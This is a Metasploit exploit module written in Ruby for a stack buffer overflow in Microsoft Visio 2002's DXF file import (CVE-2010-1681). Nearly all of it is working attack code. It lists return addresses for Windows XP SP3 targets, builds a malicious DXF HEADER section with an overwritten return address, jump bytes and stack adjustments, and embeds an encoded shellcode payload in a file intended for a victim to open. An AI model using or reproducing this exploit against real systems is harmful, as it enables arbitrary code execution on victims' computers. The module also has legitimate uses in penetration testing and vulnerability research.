Microsoft Office Visio VISIODWG.DLL DXF File Handling Vulnerability

`##  
# $Id: visio_dxf_bof.rb 13034 2011-06-26 16:09:53Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Office Visio VISIODWG.DLL DXF File Handling Vulnerability',  
'Description' => %q{  
This module exploits a stack based overflow vulnerability in the handling  
of the DXF files by Microsoft Visio 2002. Revisions prior to the release of  
the MS bulletin MS10-028 are vulnerable. The overflow occurs when the application  
is used to import a specially crafted DXF file, while parsing the HEADER section  
of the DXF file.  
  
To trigger the vulnerability an attacker must convince someone to insert a  
specially crafted DXF file to a new document, go to 'Insert' -> 'CAD Drawing'  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'CORE Security', # original discovery  
'Shahin Ramezany <shahin[at]abysssec.com>', # MOAUB #8 exploit and binary analysis  
'juan vazquez', # metasploit module  
],  
'Version' => '$Revision: 13034 $',  
'References' =>  
[  
[ 'CVE','2010-1681' ],  
[ 'OSVDB', '64446' ],  
[ 'BID', '39836' ],  
[ 'URL', 'http://www.coresecurity.com/content/ms-visio-dxf-buffer-overflow' ],  
[ 'URL', 'http://www.exploit-db.com/moaub-8-microsoft-office-visio-dxf-file-stack-overflow/' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'DisablePayloadHandler' => 'true',  
},  
'Payload' =>  
{  
'Space' => 2000,  
'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),  
'DisableNops' => true, # no need  
'EncoderOptions' =>  
{  
'BufferRegister' => 'ECX'  
}  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Microsoft Office Visio 2002  
# VISIO.EXE v10.0.525.4  
# VISIODWG.DLL v10.0.525.4  
# ECXAdjust:  
# 0x8 => ESP points to the prepended shellcode  
# 0x1A => Padding  
# 0x2 => len(push esp, pop ecx)  
# 0x3 => len(sub)  
# 0x6 => len(add)  
[  
'Visio 2002 English on Windows XP SP3 Spanish',  
{  
'Ret' => 0x6173345c, # push esp, ret from VISIODWG.DLL  
'Offset' => 0x50, # EIP  
'ReadAddress' => 0x617a4748, # points to VISIODWG.DLL data segment  
'ECXAdjust' => 0x2D  
}  
],  
[  
'Visio 2002 English on Windows XP SP3 English',  
{  
'Ret' => 0x60455F6B, # push esp, ret from VISLIB.DLL  
'Offset' => 0x50, # EIP  
'ReadAddress' => 0x66852040, # points to VISIODWG.DLL data segment  
'ECXAdjust' => 0x2D,  
}  
],  
],  
'DisclosureDate' => 'May 04 2010'))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.dxf']),  
], self.class)  
end  
  
def exploit  
content = "0\n"  
content << "SECTION\n"  
content << "2\n"  
content << "HEADER\n"  
content << "9\n"  
content << "$ACADMAINTVER"  
content << rand_text_alpha(target['Offset'] - "ACADMAINTVER".length)  
content << [target.ret].pack('V') # new ret  
content << "\xeb\x20\x90\x90" # short jmp to payload (plus two padding nops)  
content << [target['ReadAddress']].pack('V') # readable address to avoid exceptions  
content << rand_text_alpha(0x1A) # jumped by the short jump  
# Get in ECX a pointer to the shellcode start  
content << "\x54" # push esp  
content << "\x59" # pop ecx  
# ecx adjustment  
content << Rex::Arch::X86.sub(-(target['ECXAdjust']),Rex::Arch::X86::ECX, "\x00\x0d\x0a", false, true)  
# Stack adjustment  
content << "\x81\xc4\x48\xf4\xff\xff" # add esp, -3000  
content << payload.encoded  
content << "\n"  
content << "0\n"  
content << "ENDSEC\n"  
content << "0\n"  
content << "EOF\n"  
  
print_status("Creating #{datastore['FILENAME']} ...")  
file_create(content)  
end  
  
end  
`